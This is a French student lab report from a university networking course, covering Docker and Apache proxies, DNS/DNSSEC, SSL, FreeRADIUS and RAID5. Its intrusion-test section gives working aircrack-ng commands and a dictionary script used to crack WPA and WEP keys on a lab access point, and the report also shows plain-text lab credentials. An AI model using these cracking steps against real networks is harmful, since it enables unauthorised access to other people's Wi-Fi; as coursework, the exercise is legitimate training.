    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.2 Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.4 DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===4.3 Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===5.3 Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===5.2 Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
